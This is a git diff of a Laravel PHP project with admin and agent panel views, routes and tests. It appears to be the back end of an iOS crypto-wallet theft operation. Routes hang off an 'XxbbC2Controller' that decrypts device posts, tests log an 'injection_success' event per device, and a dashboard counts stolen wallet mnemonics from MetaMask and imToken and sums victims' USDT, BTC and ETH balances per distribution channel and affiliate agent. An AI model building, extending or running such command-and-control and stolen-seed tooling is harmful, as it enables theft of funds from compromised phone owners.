<input type="text" name="referer" class="layui-input" placeholder="来源" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-visit-search">搜索</button>
|
||||
</div>
|
||||
@@ -81,7 +57,6 @@
|
||||
<select id="LAY-visit-group">
|
||||
<option value="os">系统</option>
|
||||
<option value="os_version">系统 + 版本</option>
|
||||
<option value="domain">来源域名</option>
|
||||
<option value="browser">浏览器</option>
|
||||
<option value="browser_version">浏览器 + 版本</option>
|
||||
</select>
|
||||
@@ -104,6 +79,8 @@ layui.use(['table', 'form'], function () {
|
||||
var portal = @json($portal);
|
||||
var where = { range: '30d' };
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function loadGroups() {
|
||||
var g = $('#LAY-visit-group').val() || 'os';
|
||||
$.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) {
|
||||
@@ -124,7 +101,6 @@ layui.use(['table', 'form'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'channel_id', title: '渠道', minWidth: 160 },
|
||||
{ field: 'domain', title: '来源域名', minWidth: 180 },
|
||||
{ field: 'client_uid', title: '访客 UID', width: 160 },
|
||||
{ field: 'os', title: '系统', width: 90 },
|
||||
{ field: 'os_version', title: '系统版本', width: 100 },
|
||||
|
||||
+3
-1
@@ -34,6 +34,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
|
||||
|
||||
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
|
||||
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
|
||||
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
|
||||
@@ -73,7 +76,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
|
||||
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
|
||||
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
|
||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
|
||||
|
||||
|
||||
+1
-1
@@ -101,7 +101,7 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||||
}
|
||||
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
|
||||
if ($c !== '' && $configured !== $c) {
|
||||
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env,新建设备才能按 IP 归因到渠道。');
|
||||
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。');
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
+3
-2
@@ -23,6 +23,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
|
||||
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
|
||||
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
|
||||
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
|
||||
@@ -54,8 +56,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
|
||||
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
|
||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||
// Agent portal: view/edit/download own channel links only (no create/delete).
|
||||
// Agent portal: view/edit own channel links only (no create/delete).
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\PageHitController;
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
// Route::get('/', function () {
|
||||
@@ -9,3 +10,16 @@ use Illuminate\Support\Facades\Route;
|
||||
|
||||
// Anonymous page-visit beacon (PV/UV); no session / CSRF.
|
||||
Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit');
|
||||
|
||||
// Equal-length alias for secondary's hardcoded /details/show.html → /c/{ver}/show.htm
|
||||
Route::get('/c/{ver}/show.htm', function (string $ver) {
|
||||
$ver = Channel::normalizeNewChannelId($ver);
|
||||
abort_if($ver === null, 404);
|
||||
$path = public_path('channel/'.$ver.'/details/show.html');
|
||||
abort_unless(is_file($path), 404);
|
||||
|
||||
return response()->file($path, [
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
'Cache-Control' => 'no-store',
|
||||
]);
|
||||
})->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
|
||||
|
||||
@@ -5,7 +5,6 @@ use App\Http\Middleware\DecryptXxbbBody;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
|
||||
Route::post('/api/iptj', [XxbbC2Controller::class, 'iptj']);
|
||||
|
||||
Route::middleware([DecryptXxbbBody::class])->group(function () {
|
||||
Route::post('/a', [XxbbC2Controller::class, 'profile']);
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\ChannelProjectService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Mockery;
|
||||
@@ -213,15 +214,69 @@ class AdminAgentPortalTest extends TestCase
|
||||
public function dashboard_counts_smoke(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
|
||||
Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
|
||||
$d1 = Device::query()->create([
|
||||
'device_id' => 'd1',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '15.8.4',
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'd2',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '15.8.4',
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'd3',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '18.5',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'address' => 'TTestAddress111111111111111111111',
|
||||
'chain_type' => 'TRON',
|
||||
'usdt' => '10.5',
|
||||
'trx' => '2',
|
||||
'eth' => '0',
|
||||
'btc' => '0.001',
|
||||
'bnb' => '1.25',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
|
||||
'chain_type' => 'ETH',
|
||||
'usdt' => '1.5',
|
||||
'trx' => '0',
|
||||
'eth' => '0.1',
|
||||
'btc' => '0',
|
||||
'bnb' => '0',
|
||||
]);
|
||||
WalletMnemonic::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'source' => 'MetaMask',
|
||||
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
]);
|
||||
WalletMnemonic::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'source' => 'imToken',
|
||||
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.dashboard.data', ['range' => '30d']))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.total', 2)
|
||||
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]);
|
||||
->assertJsonPath('data.total', 3)
|
||||
->assertJsonPath('data.mnemonic_count', 2)
|
||||
->assertJsonPath('data.address_count', 2)
|
||||
->assertJsonPath('data.balances.usdt', '12')
|
||||
->assertJsonPath('data.balances.trx', '2')
|
||||
->assertJsonPath('data.balances.eth', '0.1')
|
||||
->assertJsonPath('data.balances.btc', '0.001')
|
||||
->assertJsonPath('data.balances.bnb', '1.25')
|
||||
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
|
||||
->assertJsonPath('data.by_device_ios_version.0.count', 2)
|
||||
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
|
||||
->assertJsonPath('data.by_device_ios_version.1.count', 1)
|
||||
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -19,7 +19,7 @@ class ChannelProjectServiceTest extends TestCase
|
||||
|
||||
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
|
||||
private const NEW_CHANNEL_ID = 'FAFA9988';
|
||||
private const NEW_CHANNEL_ID = '3.1.07';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
@@ -32,6 +32,7 @@ class ChannelProjectServiceTest extends TestCase
|
||||
'coruna.channel_builder_new.python' => 'python3',
|
||||
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
|
||||
'coruna.channel_domains' => ['fallback.test'],
|
||||
'coruna.xxbb.channel_c' => '33333333333333333333333333333333',
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -67,6 +68,12 @@ class ChannelProjectServiceTest extends TestCase
|
||||
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
|
||||
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
|
||||
|
||||
$details = storage_path('app/channel-artifacts-test/details');
|
||||
if (! is_dir($details) && ! mkdir($details, 0775, true) && ! is_dir($details)) {
|
||||
$this->fail('unable to create details dir');
|
||||
}
|
||||
file_put_contents($details.'/show.html', 'show');
|
||||
|
||||
return $dir;
|
||||
}
|
||||
|
||||
@@ -351,12 +358,14 @@ class ChannelProjectServiceTest extends TestCase
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_code' => self::NEW_CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'channel_ver' => self::NEW_CHANNEL_ID,
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
])),
|
||||
]);
|
||||
@@ -371,31 +380,38 @@ class ChannelProjectServiceTest extends TestCase
|
||||
|
||||
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
|
||||
$this->assertNull($result['weifile_path']);
|
||||
$this->assertSame('', $result['support_path']);
|
||||
$this->assertSame('/details/', $result['daily_path']);
|
||||
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $result['support_path']);
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/details/', $result['daily_path']);
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID, $result['channel_dir']);
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, '33333333333333333333333333333333')
|
||||
&& str_contains($joined, '--apply')
|
||||
&& ! str_contains($joined, '--random-c');
|
||||
});
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, '--channel-code')
|
||||
&& str_contains($joined, '--channel-ver')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--apply');
|
||||
&& str_contains($joined, '--channel-out')
|
||||
&& str_contains($joined, '--landing-template')
|
||||
&& str_contains($joined, 'test');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_requires_staged_weifile(): void
|
||||
public function new_builder_requires_env_channel_c(): void
|
||||
{
|
||||
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
|
||||
if (is_file($index)) {
|
||||
unlink($index);
|
||||
}
|
||||
config(['coruna.xxbb.channel_c' => '']);
|
||||
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('请先运行构建脚本');
|
||||
$this->expectExceptionMessage('XXBB_CHANNEL_C');
|
||||
|
||||
app(ChannelProjectService::class)->generate(
|
||||
self::NEW_CHANNEL_ID,
|
||||
@@ -413,7 +429,9 @@ class ChannelProjectServiceTest extends TestCase
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
])),
|
||||
]);
|
||||
|
||||
@@ -429,28 +447,29 @@ class ChannelProjectServiceTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function support_links_use_weifile_path_for_new_builder(): void
|
||||
public function support_links_use_channel_path_for_new_builder(): void
|
||||
{
|
||||
$channel = new Channel([
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'domains' => ['channel.test'],
|
||||
]);
|
||||
$this->assertSame([], $channel->supportLinks());
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $channel->landingPath());
|
||||
$this->assertSame(['https://channel.test/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html'], $channel->supportLinks());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function store_new_builder_returns_zip_path(): void
|
||||
public function store_new_builder_returns_channel_dir(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
@@ -464,25 +483,26 @@ class ChannelProjectServiceTest extends TestCase
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
|
||||
->assertJsonPath('data.channel_dir', '/channel/'.self::NEW_CHANNEL_ID)
|
||||
->assertJsonPath('data.support_path', '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html');
|
||||
|
||||
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
|
||||
$this->assertNotNull($channel);
|
||||
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||
$this->assertNull($response->json('data.weifile_path'));
|
||||
$this->assertNotEmpty($response->json('data.download_url'));
|
||||
$this->assertNull($response->json('data.zip_path'));
|
||||
$this->assertNull($response->json('data.download_url'));
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py');
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID);
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_new_builder_deletes_zip_not_details(): void
|
||||
public function destroy_new_builder_deletes_channel_dir_not_shared_details(): void
|
||||
{
|
||||
Process::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
@@ -492,12 +512,14 @@ class ChannelProjectServiceTest extends TestCase
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
|
||||
if (! is_dir($zipDir)) {
|
||||
mkdir($zipDir, 0775, true);
|
||||
$channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
|
||||
if (! is_dir($channelDir.'/weifile') && ! mkdir($channelDir.'/weifile', 0775, true) && ! is_dir($channelDir.'/weifile')) {
|
||||
$this->fail('unable to create channel weifile dir');
|
||||
}
|
||||
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
|
||||
file_put_contents($zip, 'zip');
|
||||
if (! is_dir($channelDir.'/details') && ! mkdir($channelDir.'/details', 0775, true) && ! is_dir($channelDir.'/details')) {
|
||||
$this->fail('unable to create channel dir');
|
||||
}
|
||||
file_put_contents($channelDir.'/weifile/weifile.html', 'landing');
|
||||
$details = storage_path('app/channel-artifacts-test/details');
|
||||
if (! is_dir($details)) {
|
||||
mkdir($details, 0775, true);
|
||||
@@ -515,16 +537,20 @@ class ChannelProjectServiceTest extends TestCase
|
||||
return str_contains($joined, 'delete_channel.py')
|
||||
|| str_contains($joined, 'delete_channel_web.py');
|
||||
});
|
||||
$this->assertFileDoesNotExist($zip);
|
||||
$this->assertDirectoryDoesNotExist($channelDir);
|
||||
$this->assertFileExists($details.'/show.html');
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reserved_names_cannot_be_new_channel_ids(): void
|
||||
public function version_format_required_for_new_channel_ids(): void
|
||||
{
|
||||
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
|
||||
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('FAFA9988'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('2.2.6'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('22.2.66'));
|
||||
$this->assertSame('3.1.07', Channel::normalizeNewChannelId('3.1.07'));
|
||||
$this->assertSame('2.2.66', Channel::normalizeNewChannelId('2.2.66'));
|
||||
$this->assertSame('A.B.C1', Channel::normalizeNewChannelId('a.b.c1'));
|
||||
$this->assertSame('X.9.Z0', Channel::normalizeNewChannelId('x.9.z0'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\FilterOptionsService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class FilterOptionsTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function admin_channel_options_include_remark_label_and_cache(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '0.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
'remark' => '测试',
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'builder_type' => Channel::BUILDER_OLD,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
'remark' => null,
|
||||
]);
|
||||
|
||||
Cache::flush();
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.filterOptions.channels'))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonFragment(['value' => '0.0.01', 'label' => '0.0.01/测试'])
|
||||
->assertJsonFragment(['value' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']);
|
||||
|
||||
$this->assertTrue(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_agent_options_include_comment_label(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent1',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'comment' => '华东',
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.filterOptions.agents'))
|
||||
->assertOk()
|
||||
->assertJsonFragment(['value' => (string) $agent->id, 'label' => 'agent1/华东']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_only_sees_own_channels(): void
|
||||
{
|
||||
$agent = User::query()->create(['username' => 'a1', 'password' => 'secret12', 'status' => 1]);
|
||||
$other = User::query()->create(['username' => 'a2', 'password' => 'secret12', 'status' => 1]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '1.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
'remark' => '我的',
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '2.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => $other->id,
|
||||
'status' => 1,
|
||||
'remark' => '别人的',
|
||||
]);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->getJson(route('user.filterOptions.channels'))
|
||||
->assertOk()
|
||||
->assertJsonFragment(['value' => '1.0.01', 'label' => '1.0.01/我的'])
|
||||
->assertJsonMissing(['value' => '2.0.01']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function channel_save_busts_options_cache(): void
|
||||
{
|
||||
Cache::put(FilterOptionsService::CACHE_CHANNELS_ADMIN, [['value' => 'x', 'label' => 'x']], 300);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '3.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
$this->assertFalse(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
|
||||
}
|
||||
}
|
||||
@@ -4,10 +4,8 @@ namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -17,20 +15,21 @@ class NewBuilderIngestTest extends TestCase
|
||||
|
||||
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
|
||||
|
||||
private const CHANNEL_ID = 'FAFA9988';
|
||||
private const CHANNEL_ID = '3.1.07';
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899', array $headers = [])
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
$server = array_merge([
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
], $headers);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], $server, $enc['body']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_uses_recent_visit_not_native_c(): void
|
||||
public function core_routes_write_channel_from_ver_header(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
@@ -38,104 +37,74 @@ class NewBuilderIngestTest extends TestCase
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], json_encode([
|
||||
'channelCode' => 'fafa9988',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'landing.example',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
]))->assertOk();
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
'm' => 'iPhone12,8',
|
||||
'pv' => '16.6',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => self::CHANNEL_ID,
|
||||
'HTTP_SDKV' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
$this->assertSame('landing.example', $device->source_domain);
|
||||
$this->assertNotSame(self::SHARED_C, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_matches_visit_across_ipv4_and_ipv6(): void
|
||||
public function core_routes_prefer_ver_over_sdkv(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '203.0.113.9',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => '4.2.01',
|
||||
'HTTP_SDKV' => '5.5.55',
|
||||
